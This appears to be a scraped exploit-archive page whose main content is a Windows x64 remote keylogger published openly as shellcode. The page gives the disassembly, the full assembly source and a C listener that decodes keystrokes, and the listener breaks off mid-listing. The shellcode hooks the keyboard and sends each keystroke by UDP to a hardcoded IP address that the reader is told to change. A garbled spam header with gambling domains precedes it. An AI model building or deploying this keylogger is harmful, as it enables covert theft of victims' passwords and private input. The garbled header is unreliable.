Ó¦µ±·¢ÏÖ¶øÃ»·¢ÏÖÎÊÌâÊÇʧְ£¬·¢ÏÖÎÊÌâѹÂ÷²»±¨ÊÇäÂÖ°¡£ï£µ   NÉÂÎ÷ʡרÃųÉÁ¢ÓÉ»·±£¡¢¹«°²¡¢¼à²ì¡¢°²¼àµÈ²¿ÃÅ×é³ÉµÄʼþµ÷²é×飬¿ªÕ¹Ê¼þµ÷²éºÍÔðÈÎ×·¾¿¹¤×÷¡£   A

ÄÏ´æ»Ô˵µÀ£¬Èç½ñÎ÷°²ÊÐÒ²ÍÆ½øÐÐÕþЧÄܸïÃü£¬Õ⽫¼¤·¢È«Éç»áͶ×ÊÎ÷°²¡¢´´ÒµÎ÷°²µÄÈÈÇ顣   M

Õ÷ÊÕÃæ»ý20Íòƽ·½Ã×£¬Õ÷ÊÕ·¶Î§ÄÚ½«Íƽø½­Áå¹É·Ý30ÍòÁ¾Õû³µÏîÄ¿½¨É裬ÐÛϪºÓ×ÛºÏÕûÖμ°¾°¹ÛÌáÉý¹¤³Ì½¨É裬¸Ó½­·ç¹â´øÄÏÑÓ¹¤³Ì½¨É裬¼ÃÃñ¿ÉÐÅÏîÄ¿½¨É裬²ý¾°»Æ¿ÍרÏîÄ¿½¨ÉèµÈ¡£Ìì½òÓ¢ÉÌÈüÂí»ádecision-decisions.com-<µ±Ç°ÍøÖ·>   K

ʪµØ¹«Ô°ÊÇʪµØ±£»¤ÌåϵµÄÖØÒª×é³É²¿·Ö¡£ï£µ   EÒ²ÐíijһÌ죬µ±ÎÒÃÇ¿´µ½Ð»ÕðÒµ¡¢ËïÑîÕâÑùµÄ¹Ú¾üÕ¾É϶̵ÀËÙ»¬¡¢±ùÇòµÈ±ùÑ©Èü³¡µÄʱºò£¬ÄÇʱºòÒ²²»ÐèÒª¶à¾ªÑÈ¡£   U

·ÉͧÃëËÙ¿ª½±Ö±²¥harranreklam.com-<µ±Ç°ÍøÖ·>

unlockthesecretofscience.com-<µ±Ç°ÍøÖ·>

  • 9- 8- 7- 6- 5- 4- 3- 2- 1

    boundlessfreedoms.com-<µ±Ç°ÍøÖ·>



    EKU-ID: 8095 CVE: OSVDB-ID:
    Author: Roziul Hasan Khan Shifat Published: 2023-02-01 Verified:
    Download:

    Rating

    ¡î¡î¡î¡î¡î
    Home

  • /*
     
        # Title : Windows x64 Remote Keylogger (UDP)
        # size : 864 bytes
        # Author : Roziul Hasan Khan Shifat
        # Tested On : Windows 10 x64 pro
        # Date : 26-10-2018
        # Email: shifath12@gmail.com
     
    */
     
     
     
    /*
     
     
    keyl.obj:     file format pe-x86-64
     
     
    Disassembly of section .text:
     
    0000000000000000 <_start>:
       0:   eb 1d                   jmp    1f <p1>
     
    0000000000000002 <_init_>:
       2:   48 31 d2                xor    rdx,rdx
       5:   65 48 8b 42 60          mov    rax,QWORD PTR gs:[rdx+0x60]
       a:   48 8b 40 18             mov    rax,QWORD PTR [rax+0x18]
       e:   48 8b 40 20             mov    rax,QWORD PTR [rax+0x20]
      12:   48 8b 30                mov    rsi,QWORD PTR [rax]
      15:   48 8b 06                mov    rax,QWORD PTR [rsi]
      18:   48 8b 70 20             mov    rsi,QWORD PTR [rax+0x20]
      1c:   5b                      pop    rbx
      1d:   53                      push   rbx
      1e:   c3                      ret   
     
    000000000000001f <p1>:
      1f:   e8 de ff ff ff          call   2 <_init_>
     
    0000000000000024 <_p2_>:
      24:   52                      push   rdx
      25:   52                      push   rdx
      26:   4c 8d 3c 24             lea    r15,[rsp]
      2a:   48 83 ec 38             sub    rsp,0x38
      2e:   4c 8d 24 24             lea    r12,[rsp]
      32:   48 83 ec 58             sub    rsp,0x58
      36:   48 8d 3c 24             lea    rdi,[rsp]
      3a:   41 57                   push   r15
      3c:   41 54                   push   r12
      3e:   57                      push   rdi
      3f:   48 b8 48 45 52 45 49    movabs rax,0x5349544945524548
      46:   54 49 53
      49:   50                      push   rax
      4a:   48 31 c0                xor    rax,rax
      4d:   66 b8 cc 01             mov    ax,0x1cc
      51:   48 01 c3                add    rbx,rax
      54:   53                      push   rbx
      55:   48 89 f1                mov    rcx,rsi
      58:   48 8d 93 6e ff ff ff    lea    rdx,[rbx-0x92]
      5f:   4d 31 c0                xor    r8,r8
      62:   41 b0 02                mov    r8b,0x2
      65:   49 89 f9                mov    r9,rdi
      68:   ff d3                   call   rbx
      6a:   41 5d                   pop    r13
      6c:   48 31 c0                xor    rax,rax
      6f:   50                      push   rax
      70:   50                      push   rax
      71:   48 b8 77 73 32 5f 33    movabs rax,0x642e32335f327377
      78:   32 2e 64
      7b:   48 89 04 24             mov    QWORD PTR [rsp],rax
      7f:   66 c7 44 24 08 6c 6c    mov    WORD PTR [rsp+0x8],0x6c6c
      86:   48 8d 0c 24             lea    rcx,[rsp]
      8a:   48 8b 77 08             mov    rsi,QWORD PTR [rdi+0x8]
      8e:   48 83 ec 28             sub    rsp,0x28
      92:   ff d6                   call   rsi
      94:   48 96                   xchg   rsi,rax
      96:   48 8d 4c 24 28          lea    rcx,[rsp+0x28]
      9b:   c7 01 75 73 65 72       mov    DWORD PTR [rcx],0x72657375
      a1:   ff d0                   call   rax
      a3:   48 89 c1                mov    rcx,rax
      a6:   49 8d 55 8c             lea    rdx,[r13-0x74]
      aa:   4d 31 c0                xor    r8,r8
      ad:   41 b0 06                mov    r8b,0x6
      b0:   4c 8d 4f 10             lea    r9,[rdi+0x10]
      b4:   41 ff d5                call   r13
      b7:   48 89 f1                mov    rcx,rsi
      ba:   49 8d 55 e7             lea    rdx,[r13-0x19]
      be:   4d 31 c0                xor    r8,r8
      c1:   41 b0 03                mov    r8b,0x3
      c4:   4c 8d 4f 40             lea    r9,[rdi+0x40]
      c8:   41 ff d5                call   r13
      cb:   48 83 c4 38             add    rsp,0x38
     
    00000000000000cf <_p3_>:
      cf:   48 31 c9                xor    rcx,rcx
      d2:   66 b9 98 01             mov    cx,0x198
      d6:   48 29 cc                sub    rsp,rcx
      d9:   48 83 c1 6a             add    rcx,0x6a
      dd:   48 8d 14 24             lea    rdx,[rsp]
      e1:   48 8b 5f 40             mov    rbx,QWORD PTR [rdi+0x40]
      e5:   ff d3                   call   rbx
      e7:   48 31 c9                xor    rcx,rcx
      ea:   b1 02                   mov    cl,0x2
      ec:   51                      push   rcx
      ed:   51                      push   rcx
      ee:   5a                      pop    rdx
      ef:   41 58                   pop    r8
      f1:   41 b0 11                mov    r8b,0x11
      f4:   48 8b 5f 48             mov    rbx,QWORD PTR [rdi+0x48]
      f8:   ff d3                   call   rbx
      fa:   48 89 47 08             mov    QWORD PTR [rdi+0x8],rax
      fe:   48 8b 1f                mov    rbx,QWORD PTR [rdi]
     101:   48 31 c9                xor    rcx,rcx
     104:   ff d3                   call   rbx
     106:   41 c6 07 02             mov    BYTE PTR [r15],0x2
     10a:   66 41 c7 47 02 db 83    mov    WORD PTR [r15+0x2],0x83db
     111:   41 c7 47 04 c1 a1 c1    mov    DWORD PTR [r15+0x4],0x63c1a1c1
     118:   63
     119:   4d 31 c9                xor    r9,r9
     11c:   41 51                   push   r9
     11e:   41 51                   push   r9
     120:   59                      pop    rcx
     121:   5a                      pop    rdx
     122:   b1 0d                   mov    cl,0xd
     124:   49 89 c0                mov    r8,rax
     127:   b2 bc                   mov    dl,0xbc
     129:   4c 01 ea                add    rdx,r13
     12c:   48 8b 5f 10             mov    rbx,QWORD PTR [rdi+0x10]
     130:   ff d3                   call   rbx
     
    0000000000000132 <_p4_>:
     132:   49 8d 4c 24 08          lea    rcx,[r12+0x8]
     137:   48 31 d2                xor    rdx,rdx
     13a:   52                      push   rdx
     13b:   52                      push   rdx
     13c:   41 58                   pop    r8
     13e:   41 59                   pop    r9
     140:   48 8b 5f 28             mov    rbx,QWORD PTR [rdi+0x28]
     144:   ff d3                   call   rbx
     146:   49 8d 4c 24 08          lea    rcx,[r12+0x8]
     14b:   48 8b 5f 30             mov    rbx,QWORD PTR [rdi+0x30]
     14f:   ff d3                   call   rbx
     151:   49 8d 4c 24 08          lea    rcx,[r12+0x8]
     156:   48 8b 5f 38             mov    rbx,QWORD PTR [rdi+0x38]
     15a:   ff d3                   call   rbx
     15c:   eb d4                   jmp    132 <_p4_>
     
    000000000000015e <kernel32_func>:
     15e:   47                      rex.RXB
     15f:   65 74 4d                gs je  1af <user32_func+0x33>
     162:   6f                      outs   dx,DWORD PTR ds:[rsi]
     163:   64 75 6c                fs jne 1d2 <user32_func+0x56>
     166:   65 48 61                gs rex.W (bad)
     169:   6e                      outs   dx,BYTE PTR ds:[rsi]
     16a:   64 6c                   fs ins BYTE PTR es:[rdi],dx
     16c:   65 41 01 4c 6f 61       add    DWORD PTR gs:[r15+rbp*2+0x61],ecx
     172:   64 4c 69 62 72 61 72    imul   r12,QWORD PTR fs:[rdx+0x72],0x41797261
     179:   79 41
     17b:   01 53 65                add    DWORD PTR [rbx+0x65],edx
     
    000000000000017c <user32_func>:
     17c:   53                      push   rbx
     17d:   65 74 57                gs je  1d7 <ws2_32_func>
     180:   69 6e 64 6f 77 73 48    imul   ebp,DWORD PTR [rsi+0x64],0x4873776f
     187:   6f                      outs   dx,DWORD PTR ds:[rsi]
     188:   6f                      outs   dx,DWORD PTR ds:[rsi]
     189:   6b 45 78 41             imul   eax,DWORD PTR [rbp+0x78],0x41
     18d:   01 43 61                add    DWORD PTR [rbx+0x61],eax
     190:   6c                      ins    BYTE PTR es:[rdi],dx
     191:   6c                      ins    BYTE PTR es:[rdi],dx
     192:   4e                      rex.WRX
     193:   65 78 74                gs js  20a <get_addr+0x1a>
     196:   48 6f                   rex.W outs dx,DWORD PTR ds:[rsi]
     198:   6f                      outs   dx,DWORD PTR ds:[rsi]
     199:   6b 45 78 01             imul   eax,DWORD PTR [rbp+0x78],0x1
     19d:   47                      rex.RXB
     19e:   65 74 4b                gs je  1ec <ws2_32_func+0x15>
     1a1:   65 79 53                gs jns 1f7 <get_addr+0x7>
     1a4:   74 61                   je     207 <get_addr+0x17>
     1a6:   74 65                   je     20d <get_addr+0x1d>
     1a8:   01 47 65                add    DWORD PTR [rdi+0x65],eax
     1ab:   74 4d                   je     1fa <get_addr+0xa>
     1ad:   65 73 73                gs jae 223 <get_addr+0x33>
     1b0:   61                      (bad) 
     1b1:   67 65 41 01 54 72 61    add    DWORD PTR gs:[r10d+esi*2+0x61],edx
     1b8:   6e                      outs   dx,BYTE PTR ds:[rsi]
     1b9:   73 6c                   jae    227 <get_addr+0x37>
     1bb:   61                      (bad) 
     1bc:   74 65                   je     223 <get_addr+0x33>
     1be:   4d                      rex.WRB
     1bf:   65 73 73                gs jae 235 <get_addr+0x45>
     1c2:   61                      (bad) 
     1c3:   67 65 01 44 69 73       add    DWORD PTR gs:[ecx+ebp*2+0x73],eax
     1c9:   70 61                   jo     22c <get_addr+0x3c>
     1cb:   74 63                   je     230 <get_addr+0x40>
     1cd:   68 4d 65 73 73          push   0x7373654d
     1d2:   61                      (bad) 
     1d3:   67 65 41 01 57 53       add    DWORD PTR gs:[r15d+0x53],edx
     
    00000000000001d7 <ws2_32_func>:
     1d7:   57                      push   rdi
     1d8:   53                      push   rbx
     1d9:   41 53                   push   r11
     1db:   74 61                   je     23e <get_addr+0x4e>
     1dd:   72 74                   jb     253 <get_addr+0x63>
     1df:   75 70                   jne    251 <get_addr+0x61>
     1e1:   01 73 6f                add    DWORD PTR [rbx+0x6f],esi
     1e4:   63 6b 65                movsxd ebp,DWORD PTR [rbx+0x65]
     1e7:   74 01                   je     1ea <ws2_32_func+0x13>
     1e9:   73 65                   jae    250 <get_addr+0x60>
     1eb:   6e                      outs   dx,BYTE PTR ds:[rsi]
     1ec:   64 74 6f                fs je  25e <get_addr+0x6e>
     1ef:   01 56 57                add    DWORD PTR [rsi+0x57],edx
     
    00000000000001f0 <get_addr>:
     1f0:   56                      push   rsi
     1f1:   57                      push   rdi
     1f2:   41 50                   push   r8
     1f4:   52                      push   rdx
     1f5:   41 51                   push   r9
     1f7:   51                      push   rcx
     1f8:   41 5b                   pop    r11
     1fa:   48 31 db                xor    rbx,rbx
     1fd:   53                      push   rbx
     1fe:   53                      push   rbx
     1ff:   5a                      pop    rdx
     200:   58                      pop    rax
     201:   8b 59 3c                mov    ebx,DWORD PTR [rcx+0x3c]
     204:   48 01 cb                add    rbx,rcx
     207:   b2 88                   mov    dl,0x88
     209:   8b 04 13                mov    eax,DWORD PTR [rbx+rdx*1]
     20c:   48 01 c8                add    rax,rcx
     20f:   48 31 d2                xor    rdx,rdx
     212:   52                      push   rdx
     213:   52                      push   rdx
     214:   52                      push   rdx
     215:   41 58                   pop    r8
     217:   41 59                   pop    r9
     219:   41 5a                   pop    r10
     21b:   44 8b 40 20             mov    r8d,DWORD PTR [rax+0x20]
     21f:   4d 01 d8                add    r8,r11
     222:   44 8b 48 24             mov    r9d,DWORD PTR [rax+0x24]
     226:   4d 01 d9                add    r9,r11
     229:   44 8b 50 1c             mov    r10d,DWORD PTR [rax+0x1c]
     22d:   4d 01 da                add    r10,r11
     230:   48 31 d2                xor    rdx,rdx
     233:   48 31 f6                xor    rsi,rsi
     236:   56                      push   rsi
     237:   59                      pop    rcx
     238:   41 8b 34 90             mov    esi,DWORD PTR [r8+rdx*4]
     23c:   4c 01 de                add    rsi,r11
     23f:   48 8b 7c 24 08          mov    rdi,QWORD PTR [rsp+0x8]
     244:   48 31 c0                xor    rax,rax
     247:   8a 04 0f                mov    al,BYTE PTR [rdi+rcx*1]
     24a:   48 ff c1                inc    rcx
     24d:   3c 01                   cmp    al,0x1
     24f:   75 f6                   jne    247 <get_addr+0x57>
     251:   48 ff c2                inc    rdx
     254:   51                      push   rcx
     255:   48 ff c9                dec    rcx
     258:   48 87 f7                xchg   rdi,rsi
     25b:   f3 a6                   repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
     25d:   59                      pop    rcx
     25e:   75 d3                   jne    233 <get_addr+0x43>
     260:   48 ff ca                dec    rdx
     263:   48 8b 7c 24 08          mov    rdi,QWORD PTR [rsp+0x8]
     268:   48 01 cf                add    rdi,rcx
     26b:   48 89 7c 24 08          mov    QWORD PTR [rsp+0x8],rdi
     270:   48 31 db                xor    rbx,rbx
     273:   53                      push   rbx
     274:   58                      pop    rax
     275:   66 41 8b 1c 51          mov    bx,WORD PTR [r9+rdx*2]
     27a:   41 8b 04 9a             mov    eax,DWORD PTR [r10+rbx*4]
     27e:   4c 01 d8                add    rax,r11
     281:   48 8b 1c 24             mov    rbx,QWORD PTR [rsp]
     285:   48 89 03                mov    QWORD PTR [rbx],rax
     288:   48 83 c3 08             add    rbx,0x8
     28c:   48 89 1c 24             mov    QWORD PTR [rsp],rbx
     290:   48 8b 5c 24 10          mov    rbx,QWORD PTR [rsp+0x10]
     295:   48 ff cb                dec    rbx
     298:   48 89 5c 24 10          mov    QWORD PTR [rsp+0x10],rbx
     29d:   48 31 d2                xor    rdx,rdx
     2a0:   48 39 d3                cmp    rbx,rdx
     2a3:   75 8e                   jne    233 <get_addr+0x43>
     2a5:   48 83 c4 18             add    rsp,0x18
     2a9:   5f                      pop    rdi
     2aa:   5e                      pop    rsi
     2ab:   c3                      ret   
     
    00000000000002ac <_proceed_>:
     2ac:   48 83 ec 58             sub    rsp,0x58
     2b0:   41 50                   push   r8
     2b2:   52                      push   rdx
     2b3:   51                      push   rcx
     2b4:   48 31 f6                xor    rsi,rsi
     2b7:   48 b8 48 45 52 45 49    movabs rax,0x5349544945524548
     2be:   54 49 53
     
    00000000000002c1 <find>:
     2c1:   4c 8b 14 34             mov    r10,QWORD PTR [rsp+rsi*1]
     2c5:   48 ff c6                inc    rsi
     2c8:   49 39 c2                cmp    r10,rax
     2cb:   75 f4                   jne    2c1 <find>
     2cd:   48 83 c6 07             add    rsi,0x7
     2d1:   48 8d 1c 34             lea    rbx,[rsp+rsi*1]
     2d5:   48 8b 3b                mov    rdi,QWORD PTR [rbx]
     2d8:   4c 8b 63 08             mov    r12,QWORD PTR [rbx+0x8]
     2dc:   4c 8b 7b 10             mov    r15,QWORD PTR [rbx+0x10]
     2e0:   48 85 c9                test   rcx,rcx
     2e3:   75 68                   jne    34d <_out_>
     2e5:   48 31 db                xor    rbx,rbx
     2e8:   b3 01                   mov    bl,0x1
     2ea:   48 c1 e3 08             shl    rbx,0x8
     2ee:   48 39 da                cmp    rdx,rbx
     2f1:   75 5a                   jne    34d <_out_>
     2f3:   48 8b 5f 20             mov    rbx,QWORD PTR [rdi+0x20]
     2f7:   48 31 c9                xor    rcx,rcx
     2fa:   b1 14                   mov    cl,0x14
     2fc:   ff d3                   call   rbx
     2fe:   66 41 89 04 24          mov    WORD PTR [r12],ax
     303:   48 8b 5f 20             mov    rbx,QWORD PTR [rdi+0x20]
     307:   48 31 c9                xor    rcx,rcx
     30a:   b1 10                   mov    cl,0x10
     30c:   ff d3                   call   rbx
     30e:   66 41 89 44 24 02       mov    WORD PTR [r12+0x2],ax
     314:   48 8b 5c 24 10          mov    rbx,QWORD PTR [rsp+0x10]
     319:   8b 03                   mov    eax,DWORD PTR [rbx]
     31b:   41 89 44 24 04          mov    DWORD PTR [r12+0x4],eax
     320:   48 83 ec 58             sub    rsp,0x58
     324:   48 8b 4f 08             mov    rcx,QWORD PTR [rdi+0x8]
     328:   41 54                   push   r12
     32a:   5a                      pop    rdx
     32b:   4d 31 c9                xor    r9,r9
     32e:   41 51                   push   r9
     330:   41 58                   pop    r8
     332:   41 b0 10                mov    r8b,0x10
     335:   4c 89 7c 24 20          mov    QWORD PTR [rsp+0x20],r15
     33a:   4c 89 44 24 28          mov    QWORD PTR [rsp+0x28],r8
     33f:   49 83 e8 08             sub    r8,0x8
     343:   48 8b 5f 50             mov    rbx,QWORD PTR [rdi+0x50]
     347:   ff d3                   call   rbx
     349:   48 83 c4 58             add    rsp,0x58
     
    000000000000034d <_out_>:
     34d:   5a                      pop    rdx
     34e:   41 58                   pop    r8
     350:   41 59                   pop    r9
     352:   48 8b 5f 18             mov    rbx,QWORD PTR [rdi+0x18]
     356:   48 31 c9                xor    rcx,rcx
     359:   ff d3                   call   rbx
     35b:   48 83 c4 58             add    rsp,0x58
     35f:   c3                      ret   
     
     
     
     
     
     
     
    */
     
     
     
     
    /*
    section .text
        global _start
    _start:
     
    jmp short p1
     
    _init_:
     
    xor rdx,rdx
    mov rax,[gs:rdx+0x60] ; getting pointer of PEB structure
    mov rax,[rax+24] ;rax=PPEB->Ldr
    mov rax,[rax+32] ;Ldr->InMemoryOrderModuleList
    mov rsi,[rax]
    mov rax,[rsi]
    mov rsi,[rax+32] ;kernel32.dll base address
     
    pop rbx ;address of _p2_
     
    push rbx
    ret; transferring execution control to _p2_
     
     
     
    p1:
    call _init_
     
     
     
    ;-----------------------------------------------------------------------------------------------------
     
    _p2_:
     
     
    push rdx
    push rdx
    lea r15,[rsp]
    sub rsp,56
    lea r12,[rsp] ; pointer important data (2 short int + 1 DWORD + 48 byte MSG structure )
    sub rsp,88
    lea rdi,[rsp] ; pointer to function address
     
     
     
    push r15
    push r12
    push rdi
    mov rax,'HEREITIS'
    push rax
     
    xor rax,rax
    mov ax,get_addr-_p2_
    add rbx,rax ; address of get_addr
     
    push rbx ;reserving future use
     
    mov rcx,rsi
     
     
    lea rdx,[rbx-(get_addr-kernel32_func)]
     
     
    xor r8,r8
    mov r8b,2
    mov r9,rdi
    call rbx ;loading kernel32_func functions
     
     
    ;-------------------------------------------------------------------------------------
     
    pop r13 ;address of get_addr
     
    ;loading ws2_32.dll
     
    xor rax,rax
    push rax
    push rax
     
    mov rax,'ws2_32.d'
    mov [rsp],rax
    mov [rsp+8],word 'll'
    lea rcx,[rsp]
    mov rsi,[rdi+8]
    sub rsp,40
     
    call rsi
    xchg rsi,rax
     
    ;----------------------------------------------------------
    ;loading user32.dll
    lea rcx,[rsp+40]
    mov [rcx],dword 'user'
     
    call rax
     
     
    ;====================================
    ;loading user32.dll functions
    mov rcx,rax
    lea rdx,[r13-(get_addr-user32_func)]
    xor r8,r8
    mov r8b,6
    lea r9,[rdi+16] ;user32.dll functions from 16
    call r13
     
    ;===================================
    ;loading ws2_32.dll functions
     
    mov rcx,rsi
    lea rdx,[r13-(get_addr-ws2_32_func)]
    xor r8,r8
    mov r8b,3
    lea r9,[rdi+64] ;ws2_32.dll functions from 64
    call r13
     
    add rsp,56
    ;===========================================All necessary functions are loaded. Time to proceed to main task ========================================
     
    _p3_:
     
    xor rcx,rcx
    mov cx,408
    sub rsp,rcx
    add rcx,106
    lea rdx,[rsp]
    mov rbx,[rdi+64] ;WSAStartup()
     
    call rbx
     
     
    xor rcx,rcx
     
     
     
     
    mov cl,2
    push rcx
    push rcx
    pop rdx
    pop r8
    mov r8b,17
    mov rbx,[rdi+72] ;socket()
    call rbx
     
    mov [rdi+8],rax ;SOCKET
     
     
     
     
     
    mov rbx,[rdi] ; GetModuleHandleA()
    xor rcx,rcx
    call rbx
     
    ;------------------------------------
     
    mov [r15],byte 2
    mov [r15+2],word 0x83db ;port change it
    mov [r15+4],dword 0x63c1a1c1 ;IP change it
     
    ;-----------------------------------
     
     
     
     
    xor r9,r9
    push r9
    push r9
    pop rcx
    pop rdx
    mov cl,13
    mov r8,rax
    mov dl,_proceed_-get_addr
    add rdx,r13
    mov rbx,[rdi+16] ;SetWindowsHookExA()
     
    call rbx
     
     
     
    _p4_:
     
    lea rcx,[r12+8]
    xor rdx,rdx
    push rdx
    push rdx
    pop r8
    pop r9
    mov rbx,[rdi+40] ;GetMessageA()
     
     
     
    call rbx
     
     
     
     
    lea rcx,[r12+8]
    mov rbx,[rdi+48] ;TranslateMessage()
     
    call rbx
     
    lea rcx,[r12+8]
    mov rbx,[rdi+56] ;DispatchMessageA()
     
    call rbx
     
     
    jmp short _p4_
     
     
     
    ;----------------------------------------------------------------------------------------
    kernel32_func:
    db 'GetModuleHandleA',1,'LoadLibraryA',1
     
     
    user32_func:
    db 'SetWindowsHookExA',1,'CallNextHookEx',1,'GetKeyState',1,'GetMessageA',1,'TranslateMessage',1,'DispatchMessageA',1
     
    ws2_32_func:
    db 'WSAStartup',1,'socket',1,'sendto',1
     
     
    get_addr: ; rcx=dll base , rdx=function name string address , r8=number of functions , r9=address of buffer
    db 0x56,0x57,0x41,0x50,0x52,0x41,0x51,0x51,0x41,0x5b,0x48,0x31,0xdb,0x53,0x53,0x5a,0x58,0x8b,0x59,0x3c,0x48,0x01,0xcb,0xb2,0x88,0x8b,0x04,0x13,0x48,0x01,0xc8,0x48,0x31,0xd2,0x52,0x52,0x52,0x41,0x58,0x41,0x59,0x41,0x5a,0x44,0x8b,0x40,0x20,0x4d,0x01,0xd8,0x44,0x8b,0x48,0x24,0x4d,0x01,0xd9,0x44,0x8b,0x50,0x1c,0x4d,0x01,0xda,0x48,0x31,0xd2,0x48,0x31,0xf6,0x56,0x59,0x41,0x8b,0x34,0x90,0x4c,0x01,0xde,0x48,0x8b,0x7c,0x24,0x08,0x48,0x31,0xc0,0x8a,0x04,0x0f,0x48,0xff,0xc1,0x3c,0x01,0x75,0xf6,0x48,0xff,0xc2,0x51,0x48,0xff,0xc9,0x48,0x87,0xf7,0xf3,0xa6,0x59,0x75,0xd3,0x48,0xff,0xca,0x48,0x8b,0x7c,0x24,0x08,0x48,0x01,0xcf,0x48,0x89,0x7c,0x24,0x08,0x48,0x31,0xdb,0x53,0x58,0x66,0x41,0x8b,0x1c,0x51,0x41,0x8b,0x04,0x9a,0x4c,0x01,0xd8,0x48,0x8b,0x1c,0x24,0x48,0x89,0x03,0x48,0x83,0xc3,0x08,0x48,0x89,0x1c,0x24,0x48,0x8b,0x5c,0x24,0x10,0x48,0xff,0xcb,0x48,0x89,0x5c,0x24,0x10,0x48,0x31,0xd2,0x48,0x39,0xd3,0x75,0x8e,0x48,0x83,0xc4,0x18,0x5f,0x5e,0xc3
     
    ;-------------------------------------------------------------------------------------------------------------------
    _proceed_:
     
    sub rsp,88
    push r8
    push rdx
    push rcx
     
     
     
     
    ;---------------------------------------------
    xor rsi,rsi
    mov rax,'HEREITIS'
    find:
     
     
    mov r10,[rsp+rsi]
    inc rsi
    cmp r10,rax
    jne find
     
    add rsi,7
    lea rbx,[rsp+rsi]
    mov rdi,[rbx]
    mov r12,[rbx+8]
    mov r15,[rbx+16]
     
     
    ;------------------------------------------------
    test rcx,rcx
    jnz short _out_
     
    xor rbx,rbx
    mov bl,1
    shl rbx,8
     
    cmp rdx,rbx
    jne short _out_
     
     
    ;--------------------------------------------------------
     
    mov rbx,[rdi+32] ;GetKeyState(VK_CAPITAL)
    xor rcx,rcx
    mov cl,0x14
    call rbx
     
    mov [r12],ax
     
    mov rbx,[rdi+32] ;GetKeyState(VK_SHIFT)
    xor rcx,rcx
    mov cl,0x10
    call rbx
     
    mov [r12+2],ax
     
     
     
     
    ;-------------------------------
    ;sending keystrokes
    mov rbx,[rsp+16]
    mov eax,[rbx]
    mov [r12+4],eax ;Virtual key code
     
    sub rsp,88
    mov rcx,[rdi+8] ;SOCKET
    push r12
    pop rdx
     
    xor r9,r9
    push r9
     
    pop r8
    mov r8b,16
    mov [rsp+32],r15
    mov [rsp+40],r8
    sub r8,8
     
    mov rbx,[rdi+80]
    call rbx
    add rsp,88
     
     
    ;-----------------------------------------------------------
     
    _out_:
     
    pop rdx
    pop r8
    pop r9
     
     
    mov rbx,[rdi+24]
     
    xor rcx,rcx
     
    call rbx
     
     
    add rsp,88
     
     
    ret
     
     
     
     
     
     
    */
     
     
    /*
     
    //keylogger Handler
     
    #include<stdio.h>
    #include<winsock2.h>
    #include<windows.h>
     
    #pragma pack(1)
     
    typedef struct key
    {
        short caps;
        short shift;
        DWORD vkcode;
    }KEYDATA;
     
     
    char * Determine(BOOL caps,BOOL shift,DWORD code)
    {
        char * key;
            switch (code) // SWITCH ON INT
                {
                    case 0x41: key = caps ? (shift ? "a" : "A") : (shift ? "A" : "a"); break;
                    case 0x42: key = caps ? (shift ? "b" : "B") : (shift ? "B" : "b"); break;
                    case 0x43: key = caps ? (shift ? "c" : "C") : (shift ? "C" : "c"); break;
                    case 0x44: key = caps ? (shift ? "d" : "D") : (shift ? "D" : "d"); break;
                    case 0x45: key = caps ? (shift ? "e" : "E") : (shift ? "E" : "e"); break;
                    case 0x46: key = caps ? (shift ? "f" : "F") : (shift ? "F" : "f"); break;
                    case 0x47: key = caps ? (shift ? "g" : "G") : (shift ? "G" : "g"); break;
                    case 0x48: key = caps ? (shift ? "h" : "H") : (shift ? "H" : "h"); break;
                    case 0x49: key = caps ? (shift ? "i" : "I") : (shift ? "I" : "i"); break;
                    case 0x4A: key = caps ? (shift ? "j" : "J") : (shift ? "J" : "j"); break;
                    case 0x4B: key = caps ? (shift ? "k" : "K") : (shift ? "K" : "k"); break;
                    case 0x4C: key = caps ? (shift ? "l" : "L") : (shift ? "L" : "l"); break;
                    case 0x4D: key = caps ? (shift ? "m" : "M") : (shift ? "M" : "m"); break;
                    case 0x4E: key = caps ? (shift ? "n" : "N") : (shift ? "N" : "n"); break;
                    case 0x4F: key = caps ? (shift ? "o" : "O") : (shift ? "O" : "o"); break;
                    case 0x50: key = caps ? (shift ? "p" : "P") : (shift ? "P" : "p"); break;
                    case 0x51: key = caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"); break;
                    case 0x52: key = caps ? (shift ? "r" : "R") : (shift ? "R" : "r"); break;
                    case 0x53: key = caps ? (shift ? "s" : "S") : (shift ? "S" : "s"); break;
                    case 0x54: key = caps ? (shift ? "t" : "T") : (shift ? "T" : "t"); break;
                    case 0x55: key = caps ? (shift ? "u" : "U") : (shift ? "U" : "u"); break;
                    case 0x56: key = caps ? (shift ? "v" : "V") : (shift ? "V" : "v"); break;
                    case 0x57: key = caps ? (shift ? "w" : "W") : (shift ? "W" : "w"); break;
                    case 0x58: key = caps ? (shift ? "x" : "X") : (shift ? "X" : "x"); break;
                    case 0x59: key = caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"); break;
                    case 0x5A: key = caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"); break;
                    // Sleep Key
                    case VK_SLEEP: key = "[SLEEP]"; break;
                    // Num Keyboard
                    case VK_NUMPAD0:  key = "0"; break;
                    case VK_NUMPAD1:  key = "1"; break;
                    case VK_NUMPAD2 : key = "2"; break;
                    case VK_NUMPAD3:  key = "3"; break;
                    case VK_NUMPAD4:  key = "4"; break;
                    case VK_NUMPAD5:  key = "5"; break;
                    case VK_NUMPAD6:  key = "6"; break;
                    case VK_NUMPAD7:  key = "7"; break;
                    case VK_NUMPAD8:  key = "8"; break;
                    case VK_NUMPAD9:  key = "9"; break;
                    case VK_MULTIPLY: key = "*"; break;
                    case VK_ADD:      key = "+"; break;
                    case VK_SEPARATOR: key = "-"; break;
                    case VK_SUBTRACT: key = "-"; break;
                    case VK_DECIMAL:  key = "."; break;
                    case VK_DIVIDE:   key = "/"; break;
                    // Function Keys
                    case VK_F1:  key = "[F1]"; break;
                    case VK_F2:  key = "[F2]"; break;
                    case VK_F3:  key = "[F3]"; break;
                    case VK_F4:  key = "[F4]"; break;
                    case VK_F5:  key = "[F5]"; break;
                    case VK_F6:  key = "[F6]"; break;
                    case VK_F7:  key = "[F7]"; break;
                    case VK_F8:  key = "[F8]"; break;
                    case VK_F9:  key = "[F9]"; break;
                    case VK_F10:  key = "[F10]"; break;
                    case VK_F11:  key = "[F11]"; break;
                    case VK_F12:  key = "[F12]"; break;
                    case VK_F13:  key = "[F13]"; break;
                    case VK_F14:  key = "[F14]"; break;
                    case VK_F15:  key = "[F15]"; break;
                    case VK_F16:  key = "[F16]"; break;
                    case VK_F17:  key = "[F17]"; break;
                    case VK_F18:  key = "[F18]"; break;
                    case VK_F19:  key = "[F19]"; break;
